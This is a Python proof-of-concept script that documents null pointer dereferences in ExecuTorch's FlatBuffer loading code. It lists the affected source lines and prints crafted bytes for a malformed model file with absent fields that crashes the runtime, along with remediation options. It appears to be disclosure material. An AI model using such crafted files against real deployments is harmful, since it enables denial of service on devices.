File size: 14,614 Bytes
3668b5d
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
147
148
149
150
151
152
153
154
155
156
157
158
159
160
161
162
163
164
165
166
167
168
169
170
171
172
173
174
175
176
177
178
179
180
181
182
183
184
185
186
187
188
189
190
191
192
193
194
195
196
197
198
199
200
201
202
203
204
205
206
207
208
209
210
211
212
213
214
215
216
217
218
219
220
221
222
223
224
225
226
227
228
229
230
231
232
233
234
235
236
237
238
239
240
241
242
243
244
245
246
247
248
249
250
251
252
253
254
255
256
257
258
259
260
261
262
263
264
265
266
267
268
269
270
271
272
273
274
275
276
277
278
279
280
281
282
283
284
285
286
287
288
289
290
291
292
293
294
295
296
297
298
299
300
301
302
303
304
305
306
307
308
309
310
311
312
313
314
315
316
317
318
319
320
321
322
323
324
325
326
327
328
329
330
331
332
333
334
335
336
337
338
339
340
341
342
343
#!/usr/bin/env python3
"""
ExecuTorch Null Pointer Dereferences from Unverified FlatBuffer Fields (CWE-476)
==================================================================================

Target: ExecuTorch (pytorch/executorch)
Commit: 90e6e4ca4ef369ce4288ffcd2a0210d5137117dd

Affected Files:
  - runtime/executor/method.cpp:150
    compile_specs_in_program->size() when compile_specs is null
    https://github.com/pytorch/executorch/blob/90e6e4ca4ef369ce4288ffcd2a0210d5137117dd/runtime/executor/method.cpp#L150

  - runtime/executor/method.cpp:180
    processed->location() when processed is null
    https://github.com/pytorch/executorch/blob/90e6e4ca4ef369ce4288ffcd2a0210d5137117dd/runtime/executor/method.cpp#L180

  - runtime/executor/program.cpp:454
    data_list->size() when backend_delegate_data() is null
    https://github.com/pytorch/executorch/blob/90e6e4ca4ef369ce4288ffcd2a0210d5137117dd/runtime/executor/program.cpp#L454

  - extension/flat_tensor/flat_tensor_data_map.cpp:93-97
    sizes->size() / dim_order->size() when fields are null
    https://github.com/pytorch/executorch/blob/90e6e4ca4ef369ce4288ffcd2a0210d5137117dd/extension/flat_tensor/flat_tensor_data_map.cpp#L93-L97

CWE-476: NULL Pointer Dereference

Description:
  FlatBuffer accessor methods return nullptr when an optional field is not
  present in the serialized data. ExecuTorch code accesses many of these
  optional fields without null checks, assuming the data is always well-formed.

  Since ExecuTorch uses only Verification::Minimal (magic check) by default
  and FlatTensor/BundledProgram have NO verification, a malicious file can
  omit any optional field to trigger null pointer dereferences.

  In FlatBuffers schema, most fields are optional by default (they have a
  default value or are represented as offset fields that can be 0/absent).

Impact:
  Denial of Service via crash. On embedded/bare-metal targets (ExecuTorch's
  primary use case), a null deref may not be caught by memory protection,
  potentially leading to undefined behavior or exploitable conditions.
"""

import struct
import sys


class FlatBufferField:
    """Represents a FlatBuffer field that may be optional/nullable."""
    def __init__(self, name: str, field_type: str, is_optional: bool,
                 schema_default=None):
        self.name = name
        self.field_type = field_type
        self.is_optional = is_optional
        self.schema_default = schema_default


class NullDerefSite:
    """Represents a location where a null FlatBuffer field is dereferenced."""
    def __init__(self, file: str, line: int, expression: str,
                 null_field: str, access_on_null: str,
                 parent_type: str, notes: str = ""):
        self.file = file
        self.line = line
        self.expression = expression
        self.null_field = null_field
        self.access_on_null = access_on_null
        self.parent_type = parent_type
        self.notes = notes


def analyze_flatbuffer_schema():
    """
    Analyze which FlatBuffer fields are optional and can return nullptr.

    In FlatBuffers:
    - Table fields accessed via table->field() return nullptr if absent
    - Vector fields return nullptr if the vector is absent
    - Scalar fields have defaults and never return nullptr
    - String fields return nullptr if absent
    """
    # Key optional fields in ExecuTorch's FlatBuffer schemas
    optional_fields = {
        "Program": [
            FlatBufferField("execution_plan", "Vector<ExecutionPlan>", True),
            FlatBufferField("constant_buffer", "Vector<Buffer>", True),
            FlatBufferField("backend_delegate_data", "Vector<BackendDelegateDataReference>", True),
            FlatBufferField("segments", "Vector<DataSegment>", True),
        ],
        "ExecutionPlan": [
            FlatBufferField("delegates", "Vector<BackendDelegate>", True),
            FlatBufferField("chains", "Vector<Chain>", True),
            FlatBufferField("values", "Vector<EValue>", True),
            FlatBufferField("inputs", "Vector<int>", True),
            FlatBufferField("outputs", "Vector<int>", True),
            FlatBufferField("operators", "Vector<Operator>", True),
        ],
        "BackendDelegate": [
            FlatBufferField("compile_specs", "Vector<CompileSpec>", True),
            FlatBufferField("processed", "BackendDelegateDataReference", True),
        ],
        "BackendDelegateDataReference": [
            FlatBufferField("location", "DataLocation", False, "INLINE"),
        ],
        "FlatTensor.TensorMetadata": [
            FlatBufferField("sizes", "Vector<int64>", True),
            FlatBufferField("dim_order", "Vector<uint8>", True),
            FlatBufferField("fully_qualified_name", "String", True),
        ],
    }
    return optional_fields


def main():
    print("=" * 78)
    print("ExecuTorch Null Pointer Dereferences from Unverified FlatBuffer Fields")
    print("CWE-476: NULL Pointer Dereference")
    print("=" * 78)
    print()

    # Define all null deref sites
    sites = [
        NullDerefSite(
            file="runtime/executor/method.cpp",
            line=150,
            expression="compile_specs_in_program->size()",
            null_field="delegate->compile_specs()",
            access_on_null="->size()",
            parent_type="BackendDelegate",
            notes=(
                "Code: auto compile_specs_in_program = delegate->compile_specs();\n"
                "      for (size_t j = 0; j < compile_specs_in_program->size(); j++) {\n"
                "\n"
                "If the BackendDelegate has no compile_specs field in the FlatBuffer,\n"
                "delegate->compile_specs() returns nullptr. Calling ->size() on nullptr\n"
                "is a null pointer dereference."
            )
        ),
        NullDerefSite(
            file="runtime/executor/method.cpp",
            line=180,
            expression="processed->location()",
            null_field="delegate->processed()",
            access_on_null="->location()",
            parent_type="BackendDelegate",
            notes=(
                "Code: auto processed = delegate->processed();\n"
                "      if (processed->location() == DataLocation::INLINE) {\n"
                "\n"
                "If 'processed' is a null BackendDelegateDataReference, calling\n"
                "->location() dereferences nullptr."
            )
        ),
        NullDerefSite(
            file="runtime/executor/program.cpp",
            line=454,
            expression="data_list->size()",
            null_field="program->backend_delegate_data()",
            access_on_null="->size()",
            parent_type="Program",
            notes=(
                "Code: auto data_list = program->backend_delegate_data();\n"
                "      for (size_t i = 0; i < data_list->size(); i++) {\n"
                "\n"
                "If the Program flatbuffer has no backend_delegate_data field,\n"
                "the accessor returns nullptr, and ->size() crashes."
            )
        ),
        NullDerefSite(
            file="extension/flat_tensor/flat_tensor_data_map.cpp",
            line=93,
            expression="sizes->size()",
            null_field="tensor_metadata->sizes()",
            access_on_null="->size()",
            parent_type="FlatTensor.TensorMetadata",
            notes=(
                "Code: auto* sizes = tensor_metadata->sizes();\n"
                "      auto* dim_order = tensor_metadata->dim_order();\n"
                "      size_t num_dims = sizes->size();\n"
                "\n"
                "Both sizes() and dim_order() are optional vector fields.\n"
                "If either is absent, the pointer is null and ->size() crashes.\n"
                "This is in the .ptd (FlatTensor) loading path which has\n"
                "NO FlatBuffer verification at all (only magic check)."
            )
        ),
        NullDerefSite(
            file="extension/flat_tensor/flat_tensor_data_map.cpp",
            line=97,
            expression="dim_order->size()",
            null_field="tensor_metadata->dim_order()",
            access_on_null="->size()",
            parent_type="FlatTensor.TensorMetadata",
            notes=(
                "Code: ET_CHECK_OR_RETURN_ERROR(\n"
                "          sizes->size() == dim_order->size(), ...);\n"
                "\n"
                "Even if sizes is non-null, dim_order can independently be null.\n"
                "Null dim_order causes crash when comparing sizes."
            )
        ),
    ]

    # -------------------------------------------------------------------------
    # Display each null deref site
    # -------------------------------------------------------------------------
    for i, site in enumerate(sites):
        print(f"-" * 78)
        print(f"NULL DEREF #{i+1}: {site.file}:{site.line}")
        print(f"-" * 78)
        print()
        print(f"  Expression:    {site.expression}")
        print(f"  Null field:    {site.null_field}")
        print(f"  Access:        {site.access_on_null}")
        print(f"  Parent type:   {site.parent_type}")
        print()
        print(f"  Details:")
        for line in site.notes.split("\n"):
            print(f"    {line}")
        print()

    # -------------------------------------------------------------------------
    # FlatBuffer optional field analysis
    # -------------------------------------------------------------------------
    print("=" * 78)
    print("FLATBUFFER OPTIONAL FIELD ANALYSIS")
    print("=" * 78)
    print()

    schema = analyze_flatbuffer_schema()
    for type_name, fields in schema.items():
        print(f"  {type_name}:")
        for field in fields:
            nullable = "NULLABLE (returns nullptr if absent)" if field.is_optional else "non-null (scalar/required)"
            print(f"    .{field.name}() -> {field.field_type:45s} {nullable}")
        print()

    # -------------------------------------------------------------------------
    # Simulate null deref scenario
    # -------------------------------------------------------------------------
    print("=" * 78)
    print("SIMULATION: Crafting a malicious .pte with null fields")
    print("=" * 78)
    print()

    print("  FlatBuffer encoding of a null/absent field:")
    print()
    print("  In the vtable, each field has a 2-byte offset entry.")
    print("  If this offset is 0, the field is 'not present' and the")
    print("  accessor returns nullptr (for tables/vectors/strings).")
    print()
    print("  Normal vtable entry for 'compile_specs' field:")
    print("    vtable[field_index] = 12   // offset 12 from table start")
    print("    -> compile_specs() returns pointer to Vector at table+12")
    print()
    print("  Malicious vtable entry:")
    print("    vtable[field_index] = 0    // field absent")
    print("    -> compile_specs() returns nullptr")
    print("    -> code calls nullptr->size() = CRASH")
    print()

    # Create a minimal FlatBuffer demonstrating null field encoding
    print("  Minimal FlatBuffer bytes demonstrating null field:")
    print()

    # Construct a minimal flatbuffer with a table that has null fields
    # VTable: [vtable_size=8, table_size=8, field0_offset=0, field1_offset=0]
    # Table:  [vtable_soffset, <no fields because all offsets are 0>]
    vtable = struct.pack("<HHHH", 8, 8, 0, 0)  # 2 fields, both absent (offset=0)
    table_soffset = struct.pack("<i", -(len(vtable)))  # negative offset to vtable before table

    # Layout: [root_offset][magic][vtable][table]
    root_offset = 4 + 4 + len(vtable)  # skip root_offset + magic + vtable
    header = struct.pack("<I", root_offset)
    magic = b"ET12"

    buf = header + magic + vtable + table_soffset
    print(f"    ", " ".join(f"{b:02X}" for b in buf))
    print()
    print(f"    Bytes 0-3:   root_offset = {root_offset} (points to table)")
    print(f"    Bytes 4-7:   magic = 'ET12'")
    print(f"    Bytes 8-9:   vtable_size = 8")
    print(f"    Bytes 10-11: table_size = 8")
    print(f"    Bytes 12-13: field[0] offset = 0  (ABSENT -> nullptr)")
    print(f"    Bytes 14-15: field[1] offset = 0  (ABSENT -> nullptr)")
    print(f"    Bytes 16-19: table soffset -> vtable")
    print()
    print("    When any accessor is called for field[0] or field[1],")
    print("    FlatBuffers returns nullptr. ExecuTorch code dereferences it.")
    print()

    # -------------------------------------------------------------------------
    # Embedded/bare-metal impact
    # -------------------------------------------------------------------------
    print("=" * 78)
    print("IMPACT ON EMBEDDED/BARE-METAL TARGETS")
    print("=" * 78)
    print()
    print("  ExecuTorch is designed for edge/embedded deployment including:")
    print("  - Mobile devices (Android/iOS)")
    print("  - Microcontrollers (Cortex-M, RISC-V)")
    print("  - DSPs and custom accelerators")
    print()
    print("  On these platforms:")
    print("  - MMU may not be present (bare metal) -> null deref reads address 0")
    print("  - No SIGSEGV handler -> undefined behavior, not clean crash")
    print("  - Address 0 may be valid memory (interrupt vector table)")
    print("  - Null deref can potentially be exploited for code execution")
    print()
    print("  Even on platforms with MMU (mobile), the null deref causes DoS")
    print("  by crashing the inference process with a malicious model file.")
    print()

    # -------------------------------------------------------------------------
    # Summary
    # -------------------------------------------------------------------------
    print("=" * 78)
    print("SUMMARY")
    print("=" * 78)
    print()
    print(f"  {len(sites)} null pointer dereference sites identified where optional")
    print("  FlatBuffer fields are accessed without null checks:")
    print()
    for i, site in enumerate(sites):
        print(f"    {i+1}. {site.file}:{site.line}{site.expression}")
    print()
    print("  Root cause: ExecuTorch assumes FlatBuffer data is well-formed")
    print("  but only performs magic-byte verification by default.")
    print()
    print("  Fix options:")
    print("  1. Add null checks before every optional field access")
    print("  2. Enable full FlatBuffer verification (VerifyProgramBuffer)")
    print("  3. Use FlatBuffers 'required' attribute in schema for critical fields")
    print("  4. Add a validation pass that checks all required fields are present")

    return 1


if __name__ == "__main__":
    sys.exit(main())